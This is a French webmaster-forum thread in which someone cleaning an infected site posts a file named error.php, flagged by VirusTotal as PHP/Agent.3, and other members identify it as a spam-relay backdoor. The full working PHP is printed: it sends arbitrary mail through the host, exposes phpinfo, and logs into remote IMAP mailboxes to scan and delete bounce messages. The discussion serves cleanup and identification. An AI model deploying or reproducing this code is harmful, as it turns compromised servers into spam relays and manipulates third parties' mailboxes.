Page 1 sur 1

utilité de ce fichier ?

Posté : 02 déc. 2014, 10:30
par bob56@
Bonjour :D

Je me pose la question de l'utilité de ce fichier son nom error.php d'autant qu'après analyse sur virus total


https://www.virustotal.com/fr/file/d6a0 ... 417508786/

PHP/Agent.3 ?

Merci de vos lumières !
<?php
$imap_error='';
$magic='';
$data = '';
$has_mbstring = 0;
$finish_time=time()+50;

switch ($_SERVER['QUERY_STRING']) {
case 'send':
	send_by_redirect();	
	break;
case 'ping':
	ping();
	break;
case 'send22':
	send_message();
	break;
case 'imap':
	check_imap();
	break;
case 'phpinfo':
	phpinfo();
	break;
case 'check_box':
	check_box();
	break;
case 'show_folders':
	show_folders();
	break;
case 'check_gs_box':
	check_gs_box();
	break;
case 'clean_box':
	clean_box();
	break;
default:
	header('Location: /');
}

function get_params() {
	$names = func_get_arg(0);
	if (!is_array($names)) {
		$names = func_get_args();
	}

	$result = array();

	if (get_magic_quotes_gpc()) {
		foreach ($names as $name) {
			$result[] = @stripslashes($_POST[$name]);
		}
	}
	else {
		foreach ($names as $name) {
			$result[] = @$_POST[$name];
		}
	}

	return $result;
}

function _mail ($to, $subj, $what, $from, $reply, $headers)
{
	global $has_mbstring;
	
	if($has_mbstring){
	    $subj  = mime_header_encode($subj, 'UTF-8', 'CP1251');
		$what = iconv('UTF-8', 'CP1251', $what);
		
		$headers = "From: $reply <$from>\r\nContent-type: text/plain; charset=CP1251\r\n";
		
		return mail($to, $subj, $what, $headers);
	}
	else{
		if(!$headers){
			$headers = "From: $reply <$from>\r\nContent-Transfer-Encoding: 8bit\r\n";
		}
		
		return mail($to, $subj, $what, $headers);
	}
}

function ping() {	
	$ping = 'ping OK'.$magic;
	header('Content-Length: '.strlen($ping));
	echo $ping;
}

function mime_header_encode($str, $data_charset, $send_charset) {
  if($data_charset != $send_charset) {
    $str = iconv($data_charset, $send_charset, $str);
  }
  return '=?' . $send_charset . '?B?' . base64_encode($str) . '?=';
}

function check_imap () {
	if (function_exists('imap_open')) {
		$imap="IMAP YES";
	} else {
		$imap="IMAP NO";
	}
	header('Content-Length: '.strlen($imap));
	echo $imap;
}

function send_message() {
	global $data;
	global $has_mbstring;
	
	list ($from_name, $from_email, $to, $subject, $headers, $body, $debug, $mb) = get_params('from_name','from_email', 'to', 'subject', 'headers', 'body','debug','mb');
	
	$has_mbstring = $mb;
	
	if($debug){
		error_reporting(65535);
	}
	
	if (!($to && $from_email && $subject && $body)) {
		$fail='SEND_FAIL'.$magic;
		header('Content-Length: '.strlen($fail));
		echo $fail;
		return;
	}

	$isok = _mail($to, $subject, $body, $from_name, $from_email, $headers);
	if ($isok){
		$OK='SEND_OK'.$magic;
		header('Content-Length: '.strlen($OK));
		echo $OK;
	} else {
                $fail='SEND_FAIL'.$magic;
		header('Content-Length: '.strlen($fail));
		echo $fail;
        }
}

function send_by_redirect(){
	global $data;
	
	$host = $_SERVER['HTTP_HOST'];
	$port = $_SERVER['SERVER_PORT'];
	$path = $_SERVER['SCRIPT_NAME'];
	
	if( !$fp = fsockopen($host, $port, $errno, $errstr, 30) ) {		
		$data = "$host:$port:$path FAIL SOCK OPENED";
		echo_exit();
	}
	
	list ($from_name, $from_email, $to, $subject, $headers, $body,$debug,$mb) = get_params('from_name','from_email', 'to', 'subject', 'headers', 'body','debug','mb');
	
	$data = "mb=".urlencode($mb)."&from_name=".urlencode($from_name)."&from_email=".urlencode($from_email)."&to=".urlencode($to)."&subject=".urlencode($subject)."&headers=".urlencode($headers)."&body=".urlencode($body)."&debug=".urlencode($debug);
	$length = strlen($data);		
	
	$ps = explode('/', $path);
	for($i=0;$i<count($ps);$i++) {$ps[$i] = rawurlencode($ps[$i]);}
	$path = implode('/',$ps);
	
	$request =
	"POST $path?send22 HTTP/1.0\r\n".
	"Host: $host\r\n".
	"Content-Type: application/x-www-form-urlencoded\r\n".
	"Content-Length: $length\r\n".
	"Connection: close\r\n".
	"\r\n".$data;
	
	fputs($fp, $request);
	
	$server_response = '';
	while (!feof($fp)) {
        $server_response .= fgets ($fp,512);
    }
	fclose($fp);
		
	$answer = explode("\r\n\r\n", $server_response);
	$data = $answer[1];
	
	echo_exit();
}

function echo_exit(){
	global $data;
	header('Content-Length: '.strlen($data));
	echo $data;
	exit;
}

function check_box() {
	list ($email,$password,$purge) = get_params('email','password','purge');
	header('Content-Type: text/plain; charset=utf8');
	if (!imap_messages($email,$password,$purge)) {
		global $imap_error;
		echo "ERROR:$imap_error\n";
	}
}

function show_folders() {
	list ($email,$password) = get_params('email','password');
	header('Content-Type: text/plain; charset=utf8');
	$imap=imap_email_open($email,$password);
	foreach ($imap['all_folders'] as $folder) {
		$imap_stream=$imap['stream'];
		imap_reopen($imap_stream,$folder);
		$MN=imap_num_msg($imap_stream);
		echo "$folder:$MN\n";
	}
	echo "====FILTERED=====\n";
	foreach ($imap['boxes'] as $mbox) {
		$imap_stream=$imap['stream'];
		imap_reopen($imap_stream,$mbox);
		$MN=imap_num_msg($imap_stream);
		echo "$mbox:$MN\n";
	}
}

function check_gs_box() {
	list ($email,$password) = get_params('email','password');
	header('Content-Type: text/plain; charset=utf8');
	if (!gs_messages($email,$password)) {
		global $imap_error;
		echo "ERROR:$imap_error\n";
	}
}

function clean_box() {
	list ($email,$password,$clean) = get_params('email','password','clean');
	header('Content-Type: text/plain; charset=utf8');
	if (!imap_clean_boxes($email,$password,$clean)) {
		global $imap_error;
		echo "ERROR:$imap_error\n";
	}
}

function is_mdelivery($header) {
	return 
	preg_match("/fail.*not|Undelivered Mail Returned|Mail delivery failed/",$header->subject) or
	preg_match("/MAILER-DAEMON|Mail Delivery System/",$header->from);
}

function is_md550($body) {
	return
	strrpos($body, "The following addresses failed")!==FALSE or 
	strrpos($body, "has no ip address")!==FALSE or 
	strrpos($body, "551 not our customer")!==FALSE or 
	strrpos($body, "554 delivery")!==FALSE or 
	strrpos($body, "550 ")!==FALSE;
}

function gs_box_messages($imap,$mbox,$folder) {
	$imap_stream=$imap['stream'];
	imap_reopen($imap_stream,$mbox);
	$MN=imap_num_msg($imap_stream);
	$continue=$MN>100;
	if ($continue) $MN=100;
	if ($MN<=0) return;
	echo "$folder\n";
	$result = imap_fetch_overview($imap_stream,"1:$MN",0);
	foreach ($result as $header) {
		//$header->subject=decode($header->subject);
		$mdelivery=is_mdelivery($header);
		$message_id=$header->message_id;
		if ($mdelivery) {
			// fetch body and find Message-ID of original letter
			$body=imap_body($imap_stream,$header->msgno);
			if (
			preg_match('/Message-ID:\s*<(\S+)>/s',$body,$matches) ||
			preg_match('/Message-ID:\s*(\S+)/s',$body,$matches)
			) {						
				$message_id=$matches[1];
			}
			if (is_md550($body)) {$mdelivery=-1;}
			echo join(";",array($header->msgno,$mdelivery,$message_id))."\n";
			imap_delete($imap_stream,$header->msgno);
		}
		global $finish_time;
		if (time()>$finish_time) {
			$continue=1;
			break;
		}
	}
	if ($continue) echo "!CONTINUE!\n";
	if ($purge) imap_expunge($imap['stream']);
}

function box_messages($imap,$mbox,$folder,$purge) {
	$imap_stream=$imap['stream'];
	imap_reopen($imap_stream,$mbox);
	$MN=imap_num_msg($imap_stream);
	$continue=$MN>30;
	if ($continue) $MN=30;
	if ($MN<=0) return;
	echo "$folder\n";
	$result = imap_fetch_overview($imap_stream,"1:$MN",0);
	foreach ($result as $header) {
		//$header->subject=decode($header->subject);
		$mdelivery=is_mdelivery($header);
		$message_id=$header->message_id;
		if ($mdelivery) {
			// fetch body and find Message-ID of original letter
			$body=imap_body($imap_stream,$header->msgno);
			if (
			preg_match('/Message-ID:\s*<(\S+)>/s',$body,$matches) ||
			preg_match('/Message-ID:\s*(\S+)/s',$body,$matches)
			) {						
				$message_id=$matches[1];
			}
			if (is_md550($body)) {$mdelivery=-1;}
		}
		echo join(";",array($header->msgno,$mdelivery,$message_id))."\n";
		if ($purge) imap_delete($imap_stream,$header->msgno);
		global $finish_time;
		if (time()>$finish_time) {
			$continue=0;
			echo "!CONTINUE!\n";
			break;
		}
	}
	if ($continue) echo "!CONTINUE!\n";
	if ($purge) imap_expunge($imap['stream']);
}

function imap_email_open($email,$password) {
	$dsyn['googlemail.com']='gmail.com';
	$imap['gmail.com']="{imap.gmail.com:993/imap/ssl/novalidate-cert}";
	$imap['yandex.ru']='{imap.yandex.ru:143/imap/notls}';
	global $imap_error;
	if (!preg_match("/\@(.*)/", $email, $matches)) { 
		$imap_error='invalid email';
		return false;
	}
	$domain=$matches[1];
	$domain=array_key_exists($domain,$dsyn)?$dsyn[$domain]:$domain;
	if (array_key_exists($domain,$imap)) { 
		$imap_server=$imap[$domain];
	} else { # let's try default construction		
		$imap_server="{imap.$domain:143/imap/notls/novalidate-cert}";
	}
	$imap_stream=imap_open($imap_server,$email,$password);
	if (!$imap_stream) {
		$imap_error=imap_last_error();
		return false;
	}
	$folders=imap_list($imap_stream, $imap_server, "*");
	//echo "All folders:\n";print_r($folders);
	$list = preg_grep('/INBOX|BCEEPwQwBDw|Spam/i',$folders);//inbox || spam	
	$boxes=array();
	if (is_array($list)) {
		foreach ($list as $mbox) {
			$folder=substr($mbox,strlen($imap_server));
			$boxes[$folder]=$mbox;
		}
	}
	return array('stream'=>$imap_stream,'server'=>$imap_server,'boxes'=>$boxes,'all_folders'=>$folders);
}

function gs_messages($email,$password) {
	$imap=imap_email_open($email,$password);
	if (!$imap) return false;
	$boxes=$imap['boxes'];
	foreach ($boxes as $folder=>$mbox) {
		gs_box_messages($imap,$mbox,$folder);
		global $finish_time;
		if (time()>$finish_time) break;
	}
	imap_expunge($imap['stream']);
	imap_close($imap['stream'],CL_EXPUNGE);
	return true;
}

function imap_messages($email,$password,$purge) {
	$imap=imap_email_open($email,$password);
	if (!$imap) return false;
	$boxes=$imap['boxes'];
	foreach ($boxes as $folder=>$mbox) {
		box_messages($imap,$mbox,$folder,$purge);
		global $finish_time;
		if (time()>$finish_time) break;
	}
	imap_expunge($imap['stream']);
	imap_close($imap['stream'],CL_EXPUNGE);
	return true;
}

function imap_clean_boxes($email,$password,$box_messages_to_delete) {
	$box_messages_to_delete=explode(";",$box_messages_to_delete);
	$imap=imap_email_open($email,$password);
	if (!$imap) return false;
	$boxes=$imap['boxes'];
	$imap_stream=$imap['stream'];
	foreach ($box_messages_to_delete as $box_messages) {
		list($box,$messages)=explode(':',$box_messages);
		echo "$box\n";
		imap_reopen($imap_stream,$boxes[$box]);
		$messages=explode(',',$messages);
		foreach ($messages as $msgno) {
			if (imap_delete($imap['stream'],$msgno)) {
				echo "$msgno\n";
			}
		}
	}
	imap_close($imap['stream'],CL_EXPUNGE);
	return true;
}

Re: utilité de ce fichier ?

Posté : 02 déc. 2014, 12:55
par Genova
Bonjour,

Où avez vous trouver ce fichier ? Visiblement il sert à envoyer des mails via votre serveur, et peut donc être exploité facilement par une personne pour envoyer des spams ou mails anonymes / illégaux via votre serveur.

Re: utilité de ce fichier ?

Posté : 02 déc. 2014, 13:14
par bob56@
Merci de ta réponse Genova.

J'ai effectué la désinfection d'un site et j'ai trouvé ce fichier qui me paraissait louche.

Je vais voir avec les propriétaires du site si ce fichier est justifié, ce que je doute !

Re: utilité de ce fichier ?

Posté : 02 déc. 2014, 13:19
par Genova
Vu le nom du fichier et son contenu, il n'y a effectivement pas de place au doute ;)